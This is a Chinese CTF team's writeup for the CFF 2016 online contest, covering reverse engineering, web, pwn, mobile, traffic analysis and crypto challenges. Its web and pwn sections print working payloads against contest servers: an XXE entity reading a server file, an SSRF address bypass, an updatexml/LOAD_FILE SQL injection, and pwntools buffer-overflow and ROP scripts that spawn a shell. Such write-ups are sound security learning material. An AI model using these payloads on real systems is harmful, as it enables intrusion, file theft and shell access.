3Years团队CFF线上赛writeup
3Years团队CFF线上赛writeup
3Years Team由来自各个院校的信息安全爱好者自发组建而成。初创时只有五人的小队,现已经成为有着二十余位活跃成员的团队。这其中有Web大牛,有逆向达人,也有负责卖萌倒水的逗比,他们因为同样的爱好聚在了一起,虽然其中一些人才刚刚爱上信息安全,也有很多人加入这个团队,但作为一个富有朝气的团队,磨合期的他们都尽己所能,将team work精神发挥到极致。
逆向工程
一:软件密码破解_1
MFC程序。判断函数在401BB0
输入会和 28 57 64 6B 93 8F 65 51 E3 53 E4 4E 1A FF 异或,然后对比。
直接异或回去即可。
二:软件密码破解_2
程序会调用WriteProcessMemory写自己。直接把写入的值保存,用ida打开。
输入的值会和elcome to CFF te异或。
然后结果在这里。
异或回去就ok。
三:软件密码破解_3
MFC程序,当输入16位大写MD5的时候,会激活确定按钮。
这个时候会将你输入的转化成8字节的数据,比如输入:0123456789ABCDEF
内存中就是 0x01 0x23 0x45 0x67 0x89 0xAB 0xCD 0xEF
然后进入主判断函数 401B80
**那个401970是加密函数,使用一个固定的256位的表把输入的8位进行单表替换644=256次。*
加密后结果需要满足上面那个方程。。。。
于是解方程。
解是 0x77,0x33, 0x31, 0x6C, 0x64, 0x30, 0x6E, 0x65
写程序获得flag
#include <windows.h>
#include <stdio.h>
int table[256] = {
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 };
unsigned __int8 index(int in)
{
for (int i = 0; i < 256;i++)
{
if (in==table[i])
{
return i;
}
}
return 256;
}
void main()
{
signed int v0; // esi@1
unsigned __int8 v1; // bl@2
unsigned __int8 v2; // cl@2
unsigned __int8 v3; // al@2
unsigned __int8 v4; // cl@2
unsigned __int8 v5; // al@2
unsigned __int8 v6; // dl@2
unsigned __int8 v7; // bl@2
unsigned __int8 v8; // cl@2
unsigned __int8 v9; // al@2
unsigned __int8 v10; // dl@2
unsigned __int8 v11; // bl@2
unsigned __int8 v12; // cl@2
unsigned __int8 v13; // al@2
unsigned __int8 v14; // dl@2
char v15; // bl@2
int v16; // edi@2
char v17; // cl@2
char v18; // dl@2
unsigned __int8 v19; // dl@2
int result; // eax@2
unsigned __int8 v21; // cl@2
unsigned __int8 in[8] = { 0x77,0x33, 0x31, 0x6C, 0x64, 0x30, 0x6E, 0x65 };
for (int a = 0; a < 64;a++)
{
for (int i = 0; i < 8;i++)
{
in[i] = index(index(index(index(in[i]))));
}
}
for (int i = 0; i < 8;i++)
{
printf("%x", in[i]);
}
}
四:文件数据修复
主加密函数在402570
其中可以看到最终加密的数据是循环异或的。
再看文件。
很明显的纵列递增。
但我们并不知道加密数据从何开始。
注意到数据中的0x619c
这是后面整个数据的长度,借此推测,正式加密数据从0x43c9 。。。开始。
首先猜测后面规律递增数据都是0,那么很容易得出key是0x13,0x82,0xFE,0x47,0xe4,0xb9,0x8e,0xd8,0x68,0xfc,0xa1,0xd5,0x4a,0x4f,0x36,0x2
直接使用这个key解密得出一个doc文件,得到flag。
WEB安全
一:API调用
请选手访问 http://139.196.232.222:55000/ 通过某种奇怪的Web攻击技术获取/tmp/cff2016.txt 中的flag值。Flag为32位小写md5。
POST http://139.196.232.222:55000/api/v1.0/try HTTP/1.1
Host: 139.196.232.222:55000
Connection: keep-alive
Content-Length: 177
Origin: http://139.196.232.222:55000
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36
Content-Type: application/xml
这里原来是json,把他改成xml,让服务器能解析xml
Accept: */*
Referer: http://139.196.232.222:55000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
提交XML表单
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///tmp/cff2016.txt" >]>
//把文件读取到变量xxe
<root>
<search>type sth!</search>
<value>&xxe;</value>
//调用变量
</root>
二:登陆错误
这题可以看到
发现图片是用base64编码表示的,看到这里结合url里的地址,访问了一下
image.3001.net/images/new/logo.png
发现可以访问,大概知道过程应该是下载这张图片,然后base64编码,再放出来。
比较典型的SSRF,尝试SSRF读文件。
用127.0.0.1来访问本地文件,发现不管输入的地址是什么,结果都没变化,然后本地测试了一下,发现。
访问127.0x0.0.1和127.0.0.1是一样的效果,测试,终于出现变化了。
重定向到这里:
http://139.196.232.222login/127.admin.hackshow.com.1
然后我又试了一下 发现只输入 0x0.0 就能弹,此时url是
http://139.196.232.222/login/admin.hackshow.com
访问http://139.196.232.222:56000/login/
发现 403 然后后面随便加个字符就出现一句话
http://139.196.232.222:56000/login/1
Login Fail. Username or password incorrect!
然后日了狗了。。哪里来的用户名和密码。。
别问我为什么,然后我就这样了
admin@123456:admin.hackshow.com
丧心病狂
看一下,显示
WAF Denial!
然后表哥就去考六级,我去考四级。听听力一直在写,什么鸡毛鬼啊,卧槽。
就这样,我和表哥的四六级估计是都跪了。
然后回来。
What the fuck ?
谁能告诉我为什么?
求大牛解释。。。
三:典型攻击
这题相对别的几道web题真的是最良心的一题了.......
输入一个数字,然后点击就加一。。当时在比赛,好多人在玩。。所以有时候一下数字就会变好多,猜测存在一个插入语句。
各种尝试,发现/x27报错
然后想到wooyun一篇drops 利用insert报错来注入。
于是构造payload
http://139.196.232.222:57000/inject.php?exp=1\x27OR\x20updatexml(1,concat(0x7e,(\x20SELECT\x20substr(\x20LOAD_FILE(0x2f746d702f636666323031362e747874),1,40))),0)\x20OR\x27
之后得到了
XPATH syntax error: '~{FLAG:c9477f3d7ddc312bec8097213'
发现不全。。因为LOAD_FILE报错一次最多出32位数据。。所以用substr指定一下开始的位置。。爆出后面25位。。
XPATH syntax error: '~77f3d7ddc312bec80972132181b41} '
结合一下,得到flag
{FLAG:c9477f3d7ddc312bec80972132181b41}
漏洞挖掘
一:总是lose的程序
首先,必须要吐槽一下这次主办方。
Pwn题目一开始上的是root权限。。。root啊。。。
另外,所有pwn都没有setbuf,导致。。。输出缓冲啊。。。
完全没有leak可用。。。
吐槽完毕。
这题极其明显的栈溢出。
直接跳win函数就好。
from pwn import *
debug=0
if debug:
p=process('./100')
gdb.attach(p)
else:
p=remote('139.196.232.222',54000)
p.sendline('a'*64+p32(0x804861B))
p.interactive()
二:突破逻辑
还是极其明显的栈溢出。
坑在于。。。有输出缓存,不能leak。
还好直接给了system,于是rop写/bin/sh 然后直接system之
from pwn import *
p=remote('139.196.232.222',53000)
p.sendline('a'*23+p32(0x080484A0)+p32(0x080483f2)+p32(0x8048817)+p32(0x804A038)+'aaaa'+p32(0x8048440)+p32(0x8048677)+p32(0x804A038))
p.sendline('/bin/sh\x00')
p.interactive()
三:文件格式
此题一开始没看懂,后面发现和wav根本没有关系。。。
这边有个select_dsd,该函数中有个奇怪的东西。
还有个奇怪的get_sth 函数。
直接gdb运行这个函数,输出一句话让我们提交文件到一个网址。
再看看flag文件。
果然。把89改成88,提交网址得到flag。。。
移动安全
一:APK_100
此题刚想调试的时候,人品出现了。
随机数0,有没有!!
(也许是AVD卡了。。)
。。没办法,人品就是这么6
非人品方法:
看了下java代码,没啥东西,flag肯定在so里面。。。
Ida打开 ,jni_onload函数,一个if分支,正确则输出65540,这就是flag,MD5后提交。
协议分析
吐槽:这部分题目都可以扔notepad+里搜到flag……
一:简单网管协议
看到题目,我首先想到了网络管理协议(SNMP),于是过滤了下snmp数据包。搜索后拿到了第一个签到flag。
flag{077149a68b9d4f25f52bb11530f44028}
二:远程登录协议
“远程登录”开始的时候让我想到了SSH数据包分析,过滤后发现ssh包里面并没有flag,然后思考了下telnet,于是把telnet包全部过滤了一下,然后用搜索了一下flag。很神奇的事发生了我居然搜到四个flag,挨个尝试下提交吧,果然里面有一个真flag存在。
各个FLAG都尝试提交后获得真FLAG。
三:WEBSHELL分析
Webshell分析
拿到题目首先思路,首先试试搜索flag,在搜索过程中发现一个POST包里存在一个base64加密。
拿去base64解密得到了一个网站
http://cff2016.oss-cn-shanghai.aliyuncs.com/AbTzA2YteFjGhPWCftraouVD3B684a9A.jpg
打开之后是一个二维码,这时候就要掏出我的爪机扫一扫了。
扫描二维码获得FLAG。
四:struts2漏洞
搜索大法好,做题之前先搜索一波,老方法直接搜索flag。这题做出来主要靠运气,在搜索到第二个md5时,就拿到了正确的flag。
密码分析
一:莫尔斯电码字符串
直接转换获得FLAG。
二:德军的密码
只有0和1,二进制密码中的费娜姆密码。转换后的字符串就是FLAG。
三:好多盐
下载后获得66组md5+8个数字字母组成的文件,题目名字提到了盐,那么8位数字字母显然是md5的salt部分。
接下来是个很蛋疼的脑洞坑,题目给出固定格式 {FLAG:数字}。
这里需要注意的是,生成md5用的格式应为 {FLAG:数字}salt。
已经知道是6-10位数字,FLAG又是10位以后,从0000000000开始生成碰撞吧。
碰撞结果为{FLAG:1234567890}满足文档中的salt-MD5。
然后FLAG字符串十位,提交1234567890,成功。
四:影之密码
有01248五种数字,已知FLAG为8位,又发现有7个0,猜测0是间隔符号。
分离出的数字长度不同,1248都是2的倍数,想到2的0123次方,发现脑洞错误。
在德军密码题出来后,搜索德军密码使用的费娜姆密码时发现一种密码—云影密码。与影之密码完全符合。
将分组后的数字求和,转化得到FLAG。
纯小白想学习CTF,能带一脚吗
多练点题就可以了
厉害了我的哥
表哥66,对ctf学习没什么思路,表哥是怎么学的呀
我也是刚刚才起步的